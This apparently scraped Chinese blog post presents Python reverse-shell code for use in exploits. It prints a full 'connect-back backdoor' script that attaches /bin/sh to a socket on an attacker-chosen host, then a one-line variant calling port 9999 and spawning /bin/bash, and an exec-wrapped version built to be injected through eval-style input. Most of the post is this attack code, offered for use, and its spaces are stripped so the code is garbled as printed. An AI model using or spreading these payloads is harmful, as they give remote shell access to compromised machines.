在漏洞利用Python代码真的很爽

当前位置:首页>Python>在漏洞利用Python代码真的很爽

在漏洞利用Python代码真的很爽

时间:2015-06-17 11:42来源:网络整理 作者:KKWL 点击:
时间:2015-06-15来源: 作者:源码库 文章热度:℃ 不知道怎么忽然想看这个,呵呵 小我的python的反shell的代码 #!/usr/bin/python #PythonConnect-backBackdoor #Author:wofeiwo #Version:1.0 #Date:July15th2006 importsys

时间:2015-06-15来源: 作者:源码库 文章热度: ℃

不知道怎么忽然想看这个,呵呵

小我的python的反shell的代码

#!/usr/bin/python

#PythonConnect-backBackdoor

#Author:wofeiwo

#Version:1.0

#Date:July15th2006

importsys

importos

importsocket

shell="/bin/sh"

defusage(programname):

print"PythonConnect-backBackdoor"

print"Auther:wofeiwo"

print"Date:July15th2006\n"

print"Usage:%s\n"%programname

defmain():

iflen(sys.argv)!=3:

usage(sys.argv[0])

sys.exit(1)

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))

print"[+]Connectok."

except:

print"[-]Couldnotconnectto%s:%s"%(sys.argv[1],sys.argv[2])

sys.exit(2)

s.send("--------------------PythonConnect-backBackdoor--------------------\n")

s.send("-----------------------------Bywofeiwo-----------------------------\n")

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

globalshell

os.system(shell)

print"SeeU!"

s.close()

if__name__=="__main__":main()

用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是

importsys;importos;importsocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((socket.gethostbyname(""),9999));s.send("Welcomemymaster\r\n");os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);s.send("Isthereashell?\r\n");os.system("/bin/bash");s.close();s.send("Seeunexttime!\r\n");

如何?很短了吧?

不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下

exec'importsys;importos;importsocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((socket.gethostbyname(""),9999));s.send("Welcomemymaster\\r\\n");os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);s.send("Isthereashell?\\r\\n");os.system("/bin/bash");s.close();s.send("Seeunexttime!\\r\\n");';

注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?

翻了下手册

exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

eval语句用来计算存储在字符串中的有效Python表达式

呵呵,这里用eval好象会出错.

YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

------分隔线----------------------------